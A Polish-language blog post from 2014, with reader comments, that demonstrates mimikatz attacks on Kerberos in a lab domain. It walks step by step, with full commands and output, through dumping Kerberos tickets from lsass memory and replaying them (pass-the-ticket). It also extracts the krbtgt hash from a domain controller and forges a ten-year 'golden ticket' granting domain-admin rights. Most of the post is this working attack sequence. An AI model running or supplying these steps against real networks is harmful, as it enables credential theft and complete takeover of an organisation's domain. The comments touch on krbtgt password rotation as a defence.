Zine.net online

Witaj na Zine.net online Zaloguj się | Rejestracja | Pomoc
w Szukaj

mgrzeg.net - Admin on Rails :)

kerberos a lsass

Wracamy do zabaw z lsass i jednego z moich ulubionych narzędzi do zaglądania w trzewia tego stwora - mimikatz. Gdy na początku stycznia Benjamin pukał do mnie na gtalku, nie bardzo miałem głowę do rozmów o tym, nad czym aktualnie pracował, a co kilka dni temu ujrzało światło dzienne w postaci najnowszej wersji mimikatz. Teraz widzę, że czasu nie marnował i o tym właśnie kilka poniższych słów.

Dotychczasowe nasze zabawy z lsass skupiały się wokół haseł, które poniewierają się po pamięci lsass w postaci niemal jawnego tekstu i są łatwe do wydobycia. Dziś o kerberosie.

Na wstępie polecam obejrzenie rewelacyjnej sesji Tomka Onyszko z MTS 2009 o rozwiązywaniu problemów z Kerberosem, dzięki czemu każdy będzie w stanie odświeżyć sobie swoją wiedzę i przypomnieć podstawowe fakty dotyczące kluczy.

Scenariusz 1: Dostęp do usług

Wyobraźmy sobie sytuację, w której user domenowy user1@test.local pracujący na stacja1 przegląda zawartość zasobu \\serwer1\share1. Następnie user1 wylogowuje się, a po nim loguje się lokalny administrator localadmin1 (lub jakakolwiek inna osoba, która ma dostęp do pamięci procesu lsass.exe) i próbuje się dostać do zasobu na \\serwer1\share1

>dir \\serwer1\share1
Błąd logowania: nieznana nazwa użytkownika lub nieprawidłowe hasło.

Sprawdzamy jeszcze listę kluczy dla bieżącej sesji

>klist

Bieżący identyfikator logowania to 0:0x49dbbdc

Bilety buforowane: (0)

Jak się okazuje, klucze dla sesji wylogowanego wcześniej użytkownika dalej tkwią w pamięci i wystarczy tylko po nie sięgnąć. Ściągamy najnowsze źródła mimikatz, przekompilowujemy i sięgamy do lsass

>mimikatz.exe

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Jan 17 2014 20:13:37)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  14 modules * * */


mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::tickets /export
InfoErr
Authentication Id : 0 ; 80776952 (00000000:049dbbdc)
Session           : Interactive from 7
User Name         : localadmin
Domain            : STACJA1

        Tickets group 0

        Tickets group 1

        Tickets group 2

Authentication Id : 0 ; 79778267 (00000000:04c151db)
Session           : Interactive from 6
User Name         : user1
Domain            : TEST

        Tickets group 0
         [00000000]
           Start/End/MaxRenew: 2014-01-20 19:47:24 ; 2014-01-21 05:46:20 ; 2014-01-27 19:46:20
           Service Name (02) : cifs ; serwer1.test.local ; @ TEST.LOCAL
           Target Name  (02) : cifs ; serwer1.test.local ; @ TEST.LOCAL
           Client Name  (01) : user1 ; @ TEST.LOCAL
           Flags 40a00000    : pre_authent ; renewable ; forwardable ;
           Session Key  (12) : d2 dc 32 71 ca 01 a8 07 6a 8c 87 bc 2f 4e 63 9c 5b 3b a6 6b c7 b5 32 b8 b3 02 83 c3 2f a2 2c 84
           Ticket  (25 - 12) : [...]
           * Saved to file [0;4c151db]-0-0-40a00000-user1@cifs-SERWER1.test.local.kirbi !

[CIAP]

Mając plik [0;4c151db]-0-0-40a00000-user1@cifs-SERWER1.test.local.kirbi, możemy zaimportować klucz do pamięci lsass dla bieżącej sesji lokalnego admina.

mimikatz # kerberos::ptt [0;4c151db]-0-0-40a00000-user1@cifs-SERWER1.test.local.kirbi
Ticket '[0;4c151db]-0-0-40a00000-user1@cifs-SERWER1.test.local.kirbi' successfully submitted for current session

Sprawdzamy dostęp do share’a:

>dir \\serwer1\share1
 Wolumin w stacji \\serwer1\share1 to SHARE1.
 Numer seryjny woluminu: F81B-5837

 Katalog: \\serwer1\share1

2014-01-20  15:58    <DIR>         Katalog1

[CIAP]

A zatem lokalny admin ma teraz dostęp do zasobu. Sprawdźmy jeszcze listę kluczy

>klist

Bieżący identyfikator logowania to 0:0x49dbbdc

Bilety buforowane: (1)

#0>     Klient: user1 w TEST.LOCAL
        Serwer: cifs/SERWER1.test.local w TEST.LOCAL
        Typ szyfrowania biletu Kerberos: AES-256-CTS-HMAC-SHA1-96
        Flagi biletów 0x40a00000 -> forwardable renewable pre_authent
        Godz. rozpoczęcia: 1/20/2014 19:47:24 (lokalne)
        Godz. zakończenia:   1/21/2014 5:46:20 (lokalne)
        Godz. odnowienia: 1/27/2014 19:46:20 (lokalne)
        Typ klucza sesji: AES-256-CTS-HMAC-SHA1-96

Spróbujmy teraz dostać się do zasobu na innym serwerze w domenie

>dir \\serwer2\share1
Błąd logowania: nieznana nazwa użytkownika lub nieprawidłowe hasło.

Scenariusz 2: TGT

Mając klucz dla jednej usługi nie mamy dostępu do wszystkich innych usług - każda z usług będzie wymagała osobnego TGS. Gdy jednak przyjrzymy się liście kluczy wyeksportowanych w poprzednim scenariuszu, to nietrudno znajdziemy np. [0;4c151db]-2-0-60a00000-user1@krbtgt-TEST.LOCAL.kirbi, w którym znajduje się TGT dla użytkownika user1. Po imporcie tego klucza do lokalnej sesji nasz pęczek kluczy będzie wyglądał następująco:

>klist

Bieżący identyfikator logowania to 0:0x49dbbdc

Bilety buforowane: (2)

#0>     Klient: user1 w TEST.LOCAL
        Serwer: krbtgt/TEST.LOCAL w TEST.LOCAL
        Typ szyfrowania biletu Kerberos: AES-256-CTS-HMAC-SHA1-96
        Flagi biletów 0x40e00000 -> forwardable renewable initial pre_authent
        Godz. rozpoczęcia: 1/20/2014 17:58:18 (lokalne)
        Godz. zakończenia:   1/21/2014 3:58:18 (lokalne)
        Godz. odnowienia: 1/27/2014 17:58:18 (lokalne)
        Typ klucza sesji: AES-256-CTS-HMAC-SHA1-96


#1>     Klient: user1 w TEST.LOCAL
        Serwer: cifs/SERWER1.test.local w TEST.LOCAL
        Typ szyfrowania biletu Kerberos: AES-256-CTS-HMAC-SHA1-96
        Flagi biletów 0x40a00000 -> forwardable renewable pre_authent
        Godz. rozpoczęcia: 1/20/2014 19:47:24 (lokalne)
        Godz. zakończenia:   1/21/2014 5:46:20 (lokalne)
        Godz. odnowienia: 1/27/2014 19:46:20 (lokalne)
        Typ klucza sesji: AES-256-CTS-HMAC-SHA1-96

i otwieramy sobie drogę do wszystkich usług, do których miał dostęp user1, np.:

>dir \\serwer2\share1
2014-01-20  15:58    <DIR>         Katalog1NaSerwer2

Import pliku wykonujemy tak, jak poprzednio, dlatego nie będę się powtarzał.

Scenariusz 3. "Golden ticket"

W najnowszej wersji mimikatz oferuje również 'golden tickets', czyli usługę pozwalającą na samodzielne generowanie kluczy. All you need is hash :) A dokładniej - ntlm hash hasła dla konta krbtgt, które - o ile się nie mylę - nigdy się nie zmienia. Hash możemy wygrzebać z bazy sam kontrolera domeny, np. przy pomocy mimikatz :)

>mimikatz.exe

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Jan 17 2014 20:13:37)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  14 modules * * */


mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::samrpc /patch
insideDomain : TEST

RID  : 000001f4 (500)
User : Administrator
LM   :
NTLM : 01234567890123456789012345678901

RID  : 000001f5 (501)
User : Guest
LM   :
NTLM :

RID  : 000001f6 (502)
User : krbtgt
LM   :
NTLM : 6aa0233756172c24df5e9797117d118b

[CIAP]

Drobna uwaga: przy większej liczbie kont warto skorzystać z log {file}, log /stop

Mając hash możemy generować samodzielnie klucze:

mimikatz # kerberos::golden /admin:Administrator /domain:test.local /sid:S-1-5-21-0123456789-9876543210-0987612345 /krbtgt:6aa0233756172c24df5e9797117d118b /ticket:test.local.kirbi
Admin  : Administrator
Domain : test.local
SID    : S-1-5-21-0123456789-9876543210-0987612345
krbtgt : 6aa0233756172c24df5e9797117d118b
Ticket : test.local.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

W bieżącym katalogu mamy plik test.local.kirbi, który możemy użyć gdziekolwiek do generowania własnych kluczy. Zalogujmy się znowu jako lokalny administrator na dowolnej stacji (niech tym razem będzie to STACJA2) i zaimportujmy tak przygotowany klucz:

mimikatz # kerberos::ptt test.local.kirbi
Ticket 'test.local.kirbi' successfully submitted for current session

mimikatz # kerberos::list

[00000000] - 17
   Start/End/MaxRenew: 2014-01-20 19:29:31 ; 2024-01-20 19:29:31 ; 2034-01-20 19:29:31
   Server Name       : krbtgt/test.local @ test.local
   Client Name       : Administrator @ test.local
   Flags 40e00000    : pre_authent ; initial ; renewable ; forwardable ;

Zauważmy, że klucz mamy wystawiony na najbliższe 10 lat, co daje nam sporo czasu na korzystanie z różnych usług. Oczywiście wszystkie usługi domenowe są dla nas dostępne bez żadnych ograniczeń - jesteśmy Administratorem domeny (SID usera + group membership Benjamin zahardkodował na domain admina w funkcji kuhl_m_kerberos_golden_data)

Nie muszę chyba pisać, że wszystkie powyższe operacje działają również na dumpach, więc _pilnuj swego dumpa_ :)

Opublikowane 20 stycznia 2014 22:14 przez mgrzeg
Filed under: , ,

Powiadamianie o komentarzach

Jeżeli chciałbyś otrzymywać email gdy ta wypowiedź zostanie zaktualizowana, to zarejestruj się tutaj

Subskrybuj komentarze za pomocą RSS

Komentarze:

 

Tomek said:

Hasło KRBTG zmienić można ale samo z siebie się nie zmienia. Dlatego nie powinno się byle kogo do DC dopuszczać, dyski szyfrować i takie tam.

Zmiana hasła KRBTG to scenariusz w przypadku kradzieży DC, podziału firm itp - ale nie wiem czy do końca przez MSFT wspierany.  Już dla porządku należy dodać że RODC nie korzystają z danych KRBTG tylko każdy z nich ma swoje konto.

stycznia 21, 2014 16:25
 

Domel said:

Haslo krbtgt zmienia sie przy podniesieniu DFL. Innego udokmuentowanego przypadku nie ma :)

stycznia 21, 2014 19:08
 

Tomek said:

@Domel .. acha, widzisz, umknęło mnie a jako że BPuhl o tym pisał to i czytać kiedyś musiałem. Ale że tak powiem jest nieinwazyjne na tyle że nie ma się czym przejmować. A co do dalszej części to fakt, nie znam innego ... chyba że ktoś sobie zmienił :)

stycznia 21, 2014 20:09

Co o tym myślisz?

(wymagane) 
(opcjonalne)
(wymagane) 

  
Wprowadź kod: (wymagane)
Wyślij

Subskrypcje

W oparciu o Community Server (Personal Edition), Telligent Systems